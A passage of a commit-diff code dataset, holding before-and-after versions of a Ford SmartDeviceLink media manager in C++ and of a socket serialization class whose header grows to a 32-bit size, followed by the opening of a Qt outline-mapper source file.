profile::Profile;\n\nCREATE_LOGGERPTR_GLOBAL(logger_, \"MediaManagerImpl\")\n\nMediaManagerImpl::MediaManagerImpl()\n  : protocol_handler_(NULL)\n  , a2dp_player_(NULL)\n  , from_mic_recorder_(NULL)\n  , video_streamer_(NULL)\n  , audio_streamer_(NULL)\n  , video_stream_active_(false)\n  , audio_stream_active_(false)\n  , streaming_timer_(\"Streaming timer\", this, &MediaManagerImpl::OnStreamingEnded)\n  , streaming_app_id_(0) {\n  Init();\n}\n\nMediaManagerImpl::~MediaManagerImpl() {\n  if (a2dp_player_) {\n    delete a2dp_player_;\n    a2dp_player_ = NULL;\n  }\n\n  if (from_mic_recorder_) {\n    delete from_mic_recorder_;\n    from_mic_recorder_ = NULL;\n  }\n\n  if (video_streamer_) {\n    delete video_streamer_;\n    video_streamer_ = NULL;\n  }\n\n  if (audio_streamer_) {\n    delete audio_streamer_;\n    audio_streamer_ = NULL;\n  }\n}\n\nvoid MediaManagerImpl::SetProtocolHandler(\n  protocol_handler::ProtocolHandler* protocol_handler) {\n  protocol_handler_ = protocol_handler;\n}\n\nvoid MediaManagerImpl::Init() {\n  LOG4CXX_INFO(logger_, \"MediaManagerImpl::Init()\");\n\n#if defined(EXTENDED_MEDIA_MODE)\n  LOG4CXX_INFO(logger_, \"Called Init with default configuration.\");\n  a2dp_player_ = new A2DPSourcePlayerAdapter();\n  from_mic_recorder_ = new FromMicRecorderAdapter();\n#endif\n\n  if (\"socket\" == profile::Profile::instance()->video_server_type()) {\n    video_streamer_ = new SocketVideoStreamerAdapter();\n  } else if (\"pipe\" == profile::Profile::instance()->video_server_type()) {\n    video_streamer_ = new PipeVideoStreamerAdapter();\n  } else if (\"file\" == profile::Profile::instance()->video_server_type()) {\n    video_streamer_ = new VideoStreamToFileAdapter(\n        profile::Profile::instance()->video_stream_file());\n  }\n\n  if (\"socket\" == profile::Profile::instance()->audio_server_type()) {\n    audio_streamer_ = new SocketAudioStreamerAdapter();\n  } else if (\"pipe\" == profile::Profile::instance()->audio_server_type()) {\n    audio_streamer_ = new PipeAudioStreamerAdapter();\n  } else if (\"file\" == profile::Profile::instance()->audio_server_type()) {\n    audio_streamer_ = new VideoStreamToFileAdapter(\n        profile::Profile::instance()->audio_stream_file());\n  }\n\n  stop_streaming_timeout_ = profile::Profile::instance()->stop_streaming_timeout();\n\n  video_streamer_listener_ = new StreamerListener();\n  audio_streamer_listener_ = new StreamerListener();\n\n  if (NULL != video_streamer_) {\n    video_streamer_->AddListener(video_streamer_listener_);\n  }\n\n  if (NULL != audio_streamer_) {\n    audio_streamer_->AddListener(audio_streamer_listener_);\n  }\n}\n\nvoid MediaManagerImpl::OnStreamingEnded() {\n  application_manager::ApplicationManagerImpl::instance()->StreamingEnded(streaming_app_id_);\n}\n\nvoid MediaManagerImpl::PlayA2DPSource(int32_t application_key) {\n  LOG4CXX_AUTO_TRACE(logger_);\n  if (a2dp_player_) {\n    a2dp_player_->StartActivity(application_key);\n  }\n}\n\nvoid MediaManagerImpl::StopA2DPSource(int32_t application_key) {\n  LOG4CXX_AUTO_TRACE(logger_);\n  if (a2dp_player_) {\n    a2dp_player_->StopActivity(application_key);\n  }\n}\n\nvoid MediaManagerImpl::StartMicrophoneRecording(\n  int32_t application_key,\n  const std::string& output_file,\n  int32_t duration) {\n  LOG4CXX_INFO(logger_, \"MediaManagerImpl::StartMicrophoneRecording to \"\n               << output_file);\n  application_manager::ApplicationSharedPtr app =\n    application_manager::ApplicationManagerImpl::instance()->\n      application(application_key);\n  std::string file_path =\n  profile::Profile::instance()->app_storage_folder();\n  file_path += \"\/\";\n  file_path += output_file;\n  from_mic_listener_ = new FromMicRecorderListener(file_path);\n#if defined(EXTENDED_MEDIA_MODE)\n  if (from_mic_recorder_) {\n    from_mic_recorder_->AddListener(from_mic_listener_);\n    (static_cast<FromMicRecorderAdapter*>(from_mic_recorder_))\n    ->set_output_file(file_path);\n    (static_cast<FromMicRecorderAdapter*>(from_mic_recorder_))\n    ->set_duration(duration);\n    from_mic_recorder_->StartActivity(application_key);\n  }\n#else\n  if (file_system::FileExists(file_path)) {\n    LOG4CXX_INFO(logger_, \"File \" << output_file << \" exists, removing\");\n    if (file_system::DeleteFile(file_path)) {\n      LOG4CXX_INFO(logger_, \"File \" << output_file << \" removed\");\n    }\n    else {\n      LOG4CXX_WARN(logger_, \"Could not remove file \" << output_file);\n    }\n  }\n  const std::string record_file_source =\n      profile::Profile::instance()->app_resourse_folder() + \"\/\" +\n      profile::Profile::instance()->recording_file_source();\n  std::vector<uint8_t> buf;\n  if (file_system::ReadBinaryFile(record_file_source, buf)) {\n    if (file_system::Write(file_path, buf)) {\n      LOG4CXX_INFO(logger_,\n        \"File \" << record_file_source << \" copied to \" << output_file);\n    }\n    else {\n      LOG4CXX_WARN(logger_, \"Could not write to file \" << output_file);\n    }\n  }\n  else {\n    LOG4CXX_WARN(logger_, \"Could not read file \" << record_file_source);\n  }\n#endif\n  from_mic_listener_->OnActivityStarted(application_key);\n}\n\nvoid MediaManagerImpl::StopMicrophoneRecording(int32_t application_key) {\n  LOG4CXX_AUTO_TRACE(logger_);\n#if defined(EXTENDED_MEDIA_MODE)\n  if (from_mic_recorder_) {\n    from_mic_recorder_->StopActivity(application_key);\n  }\n#endif\n  if (from_mic_listener_) {\n    from_mic_listener_->OnActivityEnded(application_key);\n  }\n}\n\nvoid MediaManagerImpl::StartVideoStreaming(int32_t application_key) {\n  LOG4CXX_AUTO_TRACE(logger_);\n\n  if (video_streamer_) {\n    if (!video_stream_active_) {\n      video_stream_active_ = true;\n      video_streamer_->StartActivity(application_key);\n      application_manager::MessageHelper::SendNaviStartStream(application_key);\n    }\n  }\n}\n\nvoid MediaManagerImpl::StopVideoStreaming(int32_t application_key) {\n  LOG4CXX_AUTO_TRACE(logger_);\n  if (video_streamer_) {\n    video_stream_active_ = false;\n    application_manager::MessageHelper::SendNaviStopStream(application_key);\n    video_streamer_->StopActivity(application_key);\n  }\n}\n\nvoid MediaManagerImpl::StartAudioStreaming(int32_t application_key) {\n  LOG4CXX_AUTO_TRACE(logger_);\n\n  if (audio_streamer_) {\n    if (!audio_stream_active_) {\n      audio_stream_active_ = true;\n      audio_streamer_->StartActivity(application_key);\n      application_manager::MessageHelper::SendAudioStartStream(application_key);\n    }\n  }\n}\n\nvoid MediaManagerImpl::StopAudioStreaming(int32_t application_key) {\n  LOG4CXX_AUTO_TRACE(logger_);\n  if (audio_streamer_) {\n    audio_stream_active_ = false;\n    application_manager::MessageHelper::SendAudioStopStream(application_key);\n    audio_streamer_->StopActivity(application_key);\n  }\n}\n\nvoid MediaManagerImpl::OnMessageReceived(\n    const ::protocol_handler::RawMessagePtr message) {\n  LOG4CXX_AUTO_TRACE(logger_);\n\n  using namespace application_manager;\n  using namespace protocol_handler;\n\n  streaming_app_id_ = message->connection_key();\n  ServiceType streaming_app_service_type = message->service_type();\n\n  MediaAdapterImpl* streamer = 0;\n  if (streaming_app_service_type == kMobileNav) {\n    if ((ApplicationManagerImpl::instance()-> IsVideoStreamingAllowed(streaming_app_id_))) {\n      streamer = video_streamer_;\n    }\n  } else if (streaming_app_service_type == kAudio) {\n    if ((ApplicationManagerImpl::instance()-> IsAudioStreamingAllowed(streaming_app_id_))) {\n      streamer = audio_streamer_;\n    }\n  }\n\n  if (streamer) {\n    if (ApplicationManagerImpl::instance()->CanAppStream(streaming_app_id_)) {\n      streamer->SendData(streaming_app_id_, message);\n      streaming_timer_.start(stop_streaming_timeout_);\n    } else {\n      ApplicationManagerImpl::instance()->ForbidStreaming(streaming_app_id_);\n      LOG4CXX_DEBUG(logger_, \"The application trying to stream when it should not.\");\n    }\n  }\n}\n\nvoid MediaManagerImpl::OnMobileMessageSent(\n  const ::protocol_handler::RawMessagePtr message) {\n}\n\nvoid MediaManagerImpl::FramesProcessed(int32_t application_key,\n                                       int32_t frame_number) {\n  if (protocol_handler_) {\n    protocol_handler_->SendFramesNumber(application_key,\n                                        frame_number);\n  }\n}\n\n}  \/\/  namespace media_manager\n<commit_msg>Post review changes.<commit_after>\/*\n * Copyright (c) 2014, Ford Motor Company\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n *\n * Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following\n * disclaimer in the documentation and\/or other materials provided with the\n * distribution.\n *\n * Neither the name of the Ford Motor Company nor the names of its contributors\n * may be used to endorse or promote products derived from this software\n * without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"config_profile\/profile.h\"\n#include \"media_manager\/media_manager_impl.h\"\n#include \"media_manager\/audio\/from_mic_recorder_listener.h\"\n#include \"media_manager\/streamer_listener.h\"\n#include \"application_manager\/message_helper.h\"\n#include \"application_manager\/application.h\"\n#include \"application_manager\/application_manager_impl.h\"\n#include \"application_manager\/application_impl.h\"\n#include \"utils\/file_system.h\"\n#include \"utils\/logger.h\"\n#if defined(EXTENDED_MEDIA_MODE)\n#include \"media_manager\/audio\/a2dp_source_player_adapter.h\"\n#include \"media_manager\/audio\/from_mic_recorder_adapter.h\"\n#endif\n#include \"media_manager\/video\/socket_video_streamer_adapter.h\"\n#include \"media_manager\/audio\/socket_audio_streamer_adapter.h\"\n#include \"media_manager\/video\/pipe_video_streamer_adapter.h\"\n#include \"media_manager\/audio\/pipe_audio_streamer_adapter.h\"\n#include \"media_manager\/video\/video_stream_to_file_adapter.h\"\n\n\nnamespace media_manager {\n\nusing profile::Profile;\n\nCREATE_LOGGERPTR_GLOBAL(logger_, \"MediaManagerImpl\")\n\nMediaManagerImpl::MediaManagerImpl()\n  : protocol_handler_(NULL)\n  , a2dp_player_(NULL)\n  , from_mic_recorder_(NULL)\n  , video_streamer_(NULL)\n  , audio_streamer_(NULL)\n  , video_stream_active_(false)\n  , audio_stream_active_(false)\n  , streaming_timer_(\"Streaming timer\", this, &MediaManagerImpl::OnStreamingEnded)\n  , streaming_app_id_(0) {\n  Init();\n}\n\nMediaManagerImpl::~MediaManagerImpl() {\n  if (a2dp_player_) {\n    delete a2dp_player_;\n    a2dp_player_ = NULL;\n  }\n\n  if (from_mic_recorder_) {\n    delete from_mic_recorder_;\n    from_mic_recorder_ = NULL;\n  }\n\n  if (video_streamer_) {\n    delete video_streamer_;\n    video_streamer_ = NULL;\n  }\n\n  if (audio_streamer_) {\n    delete audio_streamer_;\n    audio_streamer_ = NULL;\n  }\n}\n\nvoid MediaManagerImpl::SetProtocolHandler(\n  protocol_handler::ProtocolHandler* protocol_handler) {\n  protocol_handler_ = protocol_handler;\n}\n\nvoid MediaManagerImpl::Init() {\n  LOG4CXX_INFO(logger_, \"MediaManagerImpl::Init()\");\n\n#if defined(EXTENDED_MEDIA_MODE)\n  LOG4CXX_INFO(logger_, \"Called Init with default configuration.\");\n  a2dp_player_ = new A2DPSourcePlayerAdapter();\n  from_mic_recorder_ = new FromMicRecorderAdapter();\n#endif\n\n  if (\"socket\" == profile::Profile::instance()->video_server_type()) {\n    video_streamer_ = new SocketVideoStreamerAdapter();\n  } else if (\"pipe\" == profile::Profile::instance()->video_server_type()) {\n    video_streamer_ = new PipeVideoStreamerAdapter();\n  } else if (\"file\" == profile::Profile::instance()->video_server_type()) {\n    video_streamer_ = new VideoStreamToFileAdapter(\n        profile::Profile::instance()->video_stream_file());\n  }\n\n  if (\"socket\" == profile::Profile::instance()->audio_server_type()) {\n    audio_streamer_ = new SocketAudioStreamerAdapter();\n  } else if (\"pipe\" == profile::Profile::instance()->audio_server_type()) {\n    audio_streamer_ = new PipeAudioStreamerAdapter();\n  } else if (\"file\" == profile::Profile::instance()->audio_server_type()) {\n    audio_streamer_ = new VideoStreamToFileAdapter(\n        profile::Profile::instance()->audio_stream_file());\n  }\n\n  stop_streaming_timeout_ = profile::Profile::instance()->stop_streaming_timeout();\n\n  video_streamer_listener_ = new StreamerListener();\n  audio_streamer_listener_ = new StreamerListener();\n\n  if (NULL != video_streamer_) {\n    video_streamer_->AddListener(video_streamer_listener_);\n  }\n\n  if (NULL != audio_streamer_) {\n    audio_streamer_->AddListener(audio_streamer_listener_);\n  }\n}\n\nvoid MediaManagerImpl::OnStreamingEnded() {\n  application_manager::ApplicationManagerImpl::instance()->StreamingEnded(streaming_app_id_);\n}\n\nvoid MediaManagerImpl::PlayA2DPSource(int32_t application_key) {\n  LOG4CXX_AUTO_TRACE(logger_);\n  if (a2dp_player_) {\n    a2dp_player_->StartActivity(application_key);\n  }\n}\n\nvoid MediaManagerImpl::StopA2DPSource(int32_t application_key) {\n  LOG4CXX_AUTO_TRACE(logger_);\n  if (a2dp_player_) {\n    a2dp_player_->StopActivity(application_key);\n  }\n}\n\nvoid MediaManagerImpl::StartMicrophoneRecording(\n  int32_t application_key,\n  const std::string& output_file,\n  int32_t duration) {\n  LOG4CXX_INFO(logger_, \"MediaManagerImpl::StartMicrophoneRecording to \"\n               << output_file);\n  application_manager::ApplicationSharedPtr app =\n    application_manager::ApplicationManagerImpl::instance()->\n      application(application_key);\n  std::string file_path =\n  profile::Profile::instance()->app_storage_folder();\n  file_path += \"\/\";\n  file_path += output_file;\n  from_mic_listener_ = new FromMicRecorderListener(file_path);\n#if defined(EXTENDED_MEDIA_MODE)\n  if (from_mic_recorder_) {\n    from_mic_recorder_->AddListener(from_mic_listener_);\n    (static_cast<FromMicRecorderAdapter*>(from_mic_recorder_))\n    ->set_output_file(file_path);\n    (static_cast<FromMicRecorderAdapter*>(from_mic_recorder_))\n    ->set_duration(duration);\n    from_mic_recorder_->StartActivity(application_key);\n  }\n#else\n  if (file_system::FileExists(file_path)) {\n    LOG4CXX_INFO(logger_, \"File \" << output_file << \" exists, removing\");\n    if (file_system::DeleteFile(file_path)) {\n      LOG4CXX_INFO(logger_, \"File \" << output_file << \" removed\");\n    }\n    else {\n      LOG4CXX_WARN(logger_, \"Could not remove file \" << output_file);\n    }\n  }\n  const std::string record_file_source =\n      profile::Profile::instance()->app_resourse_folder() + \"\/\" +\n      profile::Profile::instance()->recording_file_source();\n  std::vector<uint8_t> buf;\n  if (file_system::ReadBinaryFile(record_file_source, buf)) {\n    if (file_system::Write(file_path, buf)) {\n      LOG4CXX_INFO(logger_,\n        \"File \" << record_file_source << \" copied to \" << output_file);\n    }\n    else {\n      LOG4CXX_WARN(logger_, \"Could not write to file \" << output_file);\n    }\n  }\n  else {\n    LOG4CXX_WARN(logger_, \"Could not read file \" << record_file_source);\n  }\n#endif\n  from_mic_listener_->OnActivityStarted(application_key);\n}\n\nvoid MediaManagerImpl::StopMicrophoneRecording(int32_t application_key) {\n  LOG4CXX_AUTO_TRACE(logger_);\n#if defined(EXTENDED_MEDIA_MODE)\n  if (from_mic_recorder_) {\n    from_mic_recorder_->StopActivity(application_key);\n  }\n#endif\n  if (from_mic_listener_) {\n    from_mic_listener_->OnActivityEnded(application_key);\n  }\n}\n\nvoid MediaManagerImpl::StartVideoStreaming(int32_t application_key) {\n  LOG4CXX_AUTO_TRACE(logger_);\n\n  if (video_streamer_) {\n    if (!video_stream_active_) {\n      video_stream_active_ = true;\n      video_streamer_->StartActivity(application_key);\n      application_manager::MessageHelper::SendNaviStartStream(application_key);\n    }\n  }\n}\n\nvoid MediaManagerImpl::StopVideoStreaming(int32_t application_key) {\n  LOG4CXX_AUTO_TRACE(logger_);\n  if (video_streamer_) {\n    video_stream_active_ = false;\n    application_manager::MessageHelper::SendNaviStopStream(application_key);\n    video_streamer_->StopActivity(application_key);\n  }\n}\n\nvoid MediaManagerImpl::StartAudioStreaming(int32_t application_key) {\n  LOG4CXX_AUTO_TRACE(logger_);\n\n  if (audio_streamer_) {\n    if (!audio_stream_active_) {\n      audio_stream_active_ = true;\n      audio_streamer_->StartActivity(application_key);\n      application_manager::MessageHelper::SendAudioStartStream(application_key);\n    }\n  }\n}\n\nvoid MediaManagerImpl::StopAudioStreaming(int32_t application_key) {\n  LOG4CXX_AUTO_TRACE(logger_);\n  if (audio_streamer_) {\n    audio_stream_active_ = false;\n    application_manager::MessageHelper::SendAudioStopStream(application_key);\n    audio_streamer_->StopActivity(application_key);\n  }\n}\n\nvoid MediaManagerImpl::OnMessageReceived(\n    const ::protocol_handler::RawMessagePtr message) {\n  LOG4CXX_AUTO_TRACE(logger_);\n\n  using namespace application_manager;\n  using namespace protocol_handler;\n\n  streaming_app_id_ = message->connection_key();\n  ServiceType streaming_app_service_type = message->service_type();\n\n  MediaAdapterImpl* streamer = NULL;\n  if (streaming_app_service_type == kMobileNav) {\n    if ((ApplicationManagerImpl::instance()-> IsVideoStreamingAllowed(streaming_app_id_))) {\n      streamer = video_streamer_;\n    }\n  } else if (streaming_app_service_type == kAudio) {\n    if ((ApplicationManagerImpl::instance()-> IsAudioStreamingAllowed(streaming_app_id_))) {\n      streamer = audio_streamer_;\n    }\n  }\n\n  if (streamer) {\n    if (ApplicationManagerImpl::instance()->CanAppStream(streaming_app_id_)) {\n      streamer->SendData(streaming_app_id_, message);\n      streaming_timer_.start(stop_streaming_timeout_);\n    } else {\n      ApplicationManagerImpl::instance()->ForbidStreaming(streaming_app_id_);\n      LOG4CXX_ERROR(logger_, \"The application trying to stream when it should not.\");\n    }\n  }\n}\n\nvoid MediaManagerImpl::OnMobileMessageSent(\n  const ::protocol_handler::RawMessagePtr message) {\n}\n\nvoid MediaManagerImpl::FramesProcessed(int32_t application_key,\n                                       int32_t frame_number) {\n  if (protocol_handler_) {\n    protocol_handler_->SendFramesNumber(application_key,\n                                        frame_number);\n  }\n}\n\n}  \/\/  namespace media_manager\n<|endoftext|>"}
{"text":"<commit_before>#include <Socket\/SocketSerialized.hpp>\n#include <Socket\/define.hpp>\n\n#include <thread>\n\nnamespace ntw {\n\nSocketSerialized::SocketSerialized(Socket::Dommaine dommaine,Socket::Type type,int protocole): Serializer(255), Socket(dommaine,type,protocole), status(0)\n{\n    \/\/reserver les 2 premier bits pour la taille\n    _cursor_end =_cursor_begin = 4;\n    \/\/is_send=false;\n};\n\nSocketSerialized::SocketSerialized(Socket&& s) : Serializer(255)\n{\n    std::swap(s.sock,sock);\n    std::swap(s.sock_cfg,sock_cfg);\n    _cursor_end =_cursor_begin = 4;\n};\n\nint SocketSerialized::send()\n{\n    \/\/écrire la taille dans les 2 premier oct\n    uint16_t size = _cursor_end - _cursor_begin;\n    uint8_t *d = (uint8_t *)&size;\n    #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__\n    _buffer[_cursor_begin - 4] = d[0];\n    _buffer[_cursor_begin - 3] = d[1];\n    #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__\n    _buffer[_cursor_begin - 4] = d[1];\n    _buffer[_cursor_begin - 3] = d[0];\n    #else\n    #error \"byte orden not suported (PDP endian)\"\n    #endif\n\n    {\n        uint16_t st = status;\n        d = (uint8_t*)&st;\n        #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__\n        _buffer[_cursor_begin - 2] = d[0];\n        _buffer[_cursor_begin - 1] = d[1];\n        #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__\n        _buffer[_cursor_begin - 2] = d[1];\n        _buffer[_cursor_begin - 1] = d[0];\n        #else\n        #error \"byte orden not suported (PDP endian)\"\n        #endif\n    }\n    \/\/envoyer\n    int res = Socket::send(_buffer+_cursor_begin-4, 4+size);\n    \/\/reset\n    \/\/clear();\n    return res;\n};\n\nint SocketSerialized::receive()\n{\n    \/\/recuperer la taille dans les 4 premier oct\n    int res = Socket::receive(_buffer,4);\n    if (res > 0)\n    {\n        uint8_t d[2];\n        #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__\n        d[0]= _buffer[0];\n        d[1]= _buffer[1];\n        #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__\n        d[1]= _buffer[0];\n        d[0]= _buffer[1];\n        #else\n        #error \"byte orden not suported (PDP endian)\"\n        #endif\n        uint16_t size = *(uint16_t*)&d;\n\n        #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__\n        d[0]= _buffer[2];\n        d[1]= _buffer[3];\n        #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__\n        d[1]= _buffer[2];\n        d[0]= _buffer[3];\n        #else\n        #error \"byte orden not suported (PDP endian)\"\n        #endif\n        status = *(uint16_t*)&d;\n\n        \/\/reset\n        if (int(_buffer_size) < 4+size)\n            resize(4+size);\n        \/\/else _buffer_size ne change pas\n        _cursor_begin = 4;\n        _cursor_end = 4+size;\n        \/\/remplacer le buffer\n        if(size>0)\n        {\n            int recv_left = size;\n            int recv = 0;\n            while(recv_left > 0)\n            {\n                recv = Socket::receive(_buffer+res,recv_left);\n                if(recv<=0)\n                    \/\/TODO ERROR\n                    break;\n                res+=recv;\n                recv_left -=recv;\n            }\n        }\n    }\n    else\n    {\n        clear();\n        setStatus(NTW_STOP_CONNEXION);\n    }\n    return res;\n};\n\nvoid SocketSerialized::setStatus(short int st)\n{\n    status = st;\n}\n\nshort int SocketSerialized::getStatus()const\n{\n    return status;\n}\n\nvoid SocketSerialized::clear()\n{\n    _cursor_begin = _cursor_end = 4;\n}\n\nstd::ostream& operator<<(std::ostream& output,const SocketSerialized& self)\n{\n    output<<\"[id(\"<<self.id()<<\"),size(\"<<self.size()<<\"),status(\"<<self.status<<\")]\";\n    for(unsigned int i=self._cursor_begin; i<self._cursor_end;++i)\n    {\n        if(self._buffer[i] < 33 or self._buffer[i] >126)\n            output<<\"<\"<<(int)self._buffer[i]<<\">\";\n        else\n            output<<\"'\"<<(char)self._buffer[i]<<\"'\";\n    }\n    return output;\n};\n    \n\n};\n<commit_msg>change header size for bigger socket<commit_after>#include <Socket\/SocketSerialized.hpp>\n#include <Socket\/define.hpp>\n\n#include <thread>\n\nnamespace ntw {\n\n#define HEADER_SIZE (4+2)\n\nSocketSerialized::SocketSerialized(Socket::Dommaine dommaine,Socket::Type type,int protocole): Serializer(255), Socket(dommaine,type,protocole), status(0)\n{\n    \/\/reserver les 2 premier bits pour la taille\n    _cursor_end =_cursor_begin = HEADER_SIZE;\n    \/\/is_send=false;\n};\n\nSocketSerialized::SocketSerialized(Socket&& s) : Serializer(255)\n{\n    std::swap(s.sock,sock);\n    std::swap(s.sock_cfg,sock_cfg);\n    _cursor_end =_cursor_begin = HEADER_SIZE;\n};\n\nint SocketSerialized::send()\n{\n    \/\/écrire la taille dans les 2 premier oct\n    uint32_t size = _cursor_end - _cursor_begin;\n    uint8_t *d = (uint8_t *)&size;\n    #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__\n    _buffer[_cursor_begin - 6] = d[0];\n    _buffer[_cursor_begin - 5] = d[1];\n    _buffer[_cursor_begin - 4] = d[2];\n    _buffer[_cursor_begin - 3] = d[3];\n    #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__\n    _buffer[_cursor_begin - 6] = d[3];\n    _buffer[_cursor_begin - 5] = d[2];\n    _buffer[_cursor_begin - 4] = d[1];\n    _buffer[_cursor_begin - 3] = d[0];\n    #else\n    #error \"byte orden not suported (PDP endian)\"\n    #endif\n\n    {\n        uint16_t st = status;\n        d = (uint8_t*)&st;\n        #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__\n        _buffer[_cursor_begin - 2] = d[0];\n        _buffer[_cursor_begin - 1] = d[1];\n        #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__\n        _buffer[_cursor_begin - 2] = d[1];\n        _buffer[_cursor_begin - 1] = d[0];\n        #else\n        #error \"byte orden not suported (PDP endian)\"\n        #endif\n    }\n    \/\/envoyer\n    int res = Socket::send(_buffer+_cursor_begin-HEADER_SIZE, HEADER_SIZE+size);\n    \/\/reset\n    \/\/clear();\n    return res;\n};\n\nint SocketSerialized::receive()\n{\n    \/\/recuperer la taille dans les 6 premier oct\n    int res = Socket::receive(_buffer,HEADER_SIZE);\n    if (res > 0)\n    {\n        uint32_t size;\n        {\n            uint8_t d[4];\n            #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__\n            d[0]= _buffer[0];\n            d[1]= _buffer[1];\n            d[2]= _buffer[2];\n            d[3]= _buffer[3];\n            #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__\n            d[3]= _buffer[0];\n            d[2]= _buffer[1];\n            d[1]= _buffer[2];\n            d[0]= _buffer[3];\n            #else\n            #error \"byte orden not suported (PDP endian)\"\n            #endif\n            size = *(uint32_t*)&d;\n        }\n\n\n        {\n            uint8_t d[2];\n            #if __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__\n            d[0]= _buffer[4];\n            d[1]= _buffer[5];\n            #elif __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__\n            d[1]= _buffer[4];\n            d[0]= _buffer[5];\n            #else\n            #error \"byte orden not suported (PDP endian)\"\n            #endif\n            status = *(uint16_t*)&d;\n        }\n\n        \/\/reset\n        if (int(_buffer_size) < (int)HEADER_SIZE+(int)size)\n            resize(HEADER_SIZE+size);\n        \/\/else _buffer_size ne change pas\n        _cursor_begin = HEADER_SIZE;\n        _cursor_end = HEADER_SIZE+size;\n        \/\/remplacer le buffer\n        if(size>0)\n        {\n            int recv_left = size;\n            int recv = 0;\n            while(recv_left > 0)\n            {\n                recv = Socket::receive(_buffer+res,recv_left);\n                if(recv<=0)\n                    \/\/TODO ERROR\n                    break;\n                res+=recv;\n                recv_left -=recv;\n            }\n        }\n    }\n    else\n    {\n        clear();\n        setStatus(NTW_STOP_CONNEXION);\n    }\n    return res;\n};\n\nvoid SocketSerialized::setStatus(short int st)\n{\n    status = st;\n}\n\nshort int SocketSerialized::getStatus()const\n{\n    return status;\n}\n\nvoid SocketSerialized::clear()\n{\n    _cursor_begin = _cursor_end = HEADER_SIZE;\n}\n\nstd::ostream& operator<<(std::ostream& output,const SocketSerialized& self)\n{\n    output<<\"[id(\"<<self.id()<<\"),size(\"<<self.size()<<\"),status(\"<<self.status<<\")]\";\n    for(unsigned int i=self._cursor_begin; i<self._cursor_end;++i)\n    {\n        if(self._buffer[i] < 33 or self._buffer[i] >126)\n            output<<\"<\"<<(int)self._buffer[i]<<\">\";\n        else\n            output<<\"'\"<<(char)self._buffer[i]<<\"'\";\n    }\n    return output;\n};\n    \n\n};\n<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************************\n**\n** Copyright (C) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the QtGui module of the Qt Toolkit.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain\n** additional rights.  These rights are described in the Nokia Qt LGPL\n** Exception version 1.1, included in the file LGPL_EXCEPTION.txt in this\n** package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include \"qoutlinemapper_p.h\"\n\n#include \"qmath.h\"\n\n#include <stdlib.h>\n\nQT_BEGIN_NAMESPACE\n\nstatic const qreal aliasedCoordinateDelta = 0.5 - 0.015625;\n\n#define qreal_to_fixed_26_6(f) (int(f * 64))\n\n\n\n\nstatic const QRectF boundingRect(const QPointF *points, int pointCount)\n{\n    const QPointF *e = points;\n    const QPointF *last = points + pointCount;\n    qreal minx, maxx, miny, maxy;\n    minx = maxx = e->x();\n    miny = maxy = e->y();\n    while (++e < last) {\n        if (e->x() < minx)\n            minx = e->x();\n        else if (e->x() > maxx)\n            maxx = e->x();\n        if (e->y() < miny)\n            miny = e->y();\n        else if (e->y() > maxy)\n            maxy = e->y();\n    }\n    return QRectF(QPointF(minx, miny), QPointF(maxx, maxy));\n}\n\n\nQT_FT_Outline *QOutlineMapper::convertPath(const QPainterPath &path)\n{\n    Q_ASSERT(!path.isEmpty());\n    int elmCount = path.elementCount();\n#ifdef QT_DEBUG_CONVERT\n    printf(\"QOutlineMapper::convertPath(), size=%d\\n\", elmCount);\n#endif\n    